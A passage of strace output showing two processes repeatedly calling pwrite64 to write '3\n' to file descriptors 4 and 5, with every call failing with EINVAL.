[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
